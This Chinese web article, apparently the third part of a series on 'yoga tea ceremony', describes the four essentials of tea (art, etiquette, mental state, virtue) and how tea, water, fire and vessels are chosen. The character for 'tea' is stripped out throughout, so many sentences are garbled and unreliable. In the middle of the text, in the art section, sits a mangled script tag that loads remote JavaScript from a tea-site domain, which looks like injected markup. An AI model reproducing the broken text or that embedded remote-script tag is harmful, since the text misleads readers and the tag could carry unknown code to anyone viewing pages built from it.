瑜伽茶道(三)
日期:2010-03-19 浏览:2888次 
瑜伽茶道(三)
  3、道四要——艺、礼、境、德
  ?script type='text/javascript' src='http://www.368tea.com/js/v.js'>?)艺:即艺,、水、火、器,被称为艺“四要素”。
  :精为上,指上品之品以形、色、香、味分高下。形,指叶外表形状,大体有长圆条形、卷曲圆条形、扁条形、针形、花叶形、颗粒形、圆珠形、砖形、饼形、片形、粉末形等;色,指干的色泽、汤色和叶底色泽。因制法不同,叶可做出红、绿、黄、白、黑青等不同色泽的六大类,叶色度可分为翠绿色、灰绿色、深绿色、墨绿色、黄绿色、黑褐色、银灰色、铁青色、青褐色、褐红色、棕红色等,汤色色度分为红色、橙色、黄色、黄绿色、绿色等;香,指叶经开水冲泡后散发出来的香气,也包括干的香气。鲜叶中含芳香物质约50种,绿茶中含100多种,红茶中含300多种。按香气类型可分为毫香型、嫩香型、花香型、果香型、清香型、甜香型等;味,指冲泡汤的滋味。叶与所含有味物质有关:多酚类化合物有苦涩味,氨基酸有鲜味,咖啡碱有苦味,糖类有甜味,果胶有厚味。按味型可分为浓厚、浓鲜、醇和、醇厚、平和、鲜甜、苦、涩、粗老味等。味型近似区分极难,全靠舌头的精细感觉。
  水:真水为优,指优质之水,水品以清、活、轻、甘、冽分优劣。“清”就是无色、透明、无沉淀;“活”就是流动的水,即“活水”;“轻”指比重轻的,一般是宜的软水;“甘”指水味淡甜;“冽”指水冷、寒,冰水、雪水最佳。陆羽论择水以“山水上,江水中,井水下”,雨水、雪水是“天水”,烹亦佳。水中通常都含有处于电离子状态下的钙和镁的碳酸氢盐、硫酸盐和氯化物,含量多者叫硬水,少者叫软水。硬水泡茶汤发暗,滋味发涩;软水泡茶汤明亮,香味鲜爽。所以软水宜
  火:活火为佳,活火一是燃料要讲究,《经》云:“其火,用炭,次用劲薪”;二是注意火候,包括火力(急火、旺火、慢火)、火度、火势、火时,观火侯有主要看汤,即观察煮水全过程,方法“三大辨,十五小辨”。
  以上主要针对煮而言。明以后由煮发展到以开水冲泡,水开即冲,无须"三大辨、十五小辨"。燃料业已多样化,煤、煤气、液化气、电等等,“活火”主要指燃料选择上燃烧值高、燃烧无异味。
  器:妙器,以宜兴紫陶为最。紫砂具工艺独特,是品茗妙器。古人云:“壶必言宜兴陶,较必用宜壶也”。宜兴茗壶已成为一门艺术,并形成派系,大体划分有创始、正始、大家、名家、雅流、神品、别派等。除陶瓷外,还有用金、银、铜、玉器、玛瑙、玻璃、搪瓷、竹木、椰壳等材料制作的具,也别有艺术风味,新材料中以玻璃具为佳,特别是品饮形与色俱佳的名茶龙井、白毫银针、碧螺春等,既可品饮,又可观尝芽之奇姿美色,可助兴。
  (2)礼:指事活动中的礼仪、法则;包括择地(以优雅宁静的场地为佳,辅以适当氛围布置点缀)、事流程、动作手势、奉规矩等等。
  (3)境:所谓境,是指事过程导人所入之境,非是场地环境之意。境以无我为上,与人、主与客,圆融无碍,平等、无别,入忘我之境,摒尘劳于外,弃烦恼与内,心清气和,怡然自得。
  (4)德:德是事中所寓含的精神、理念、品性与道德。中之德,如道家的“清静无为”,如佛家的“般若自在”,如儒家的“清心寡欲”,讲究清而不浮,静而不滞,淡而不薄,在修心中喝,于品茶中养性。

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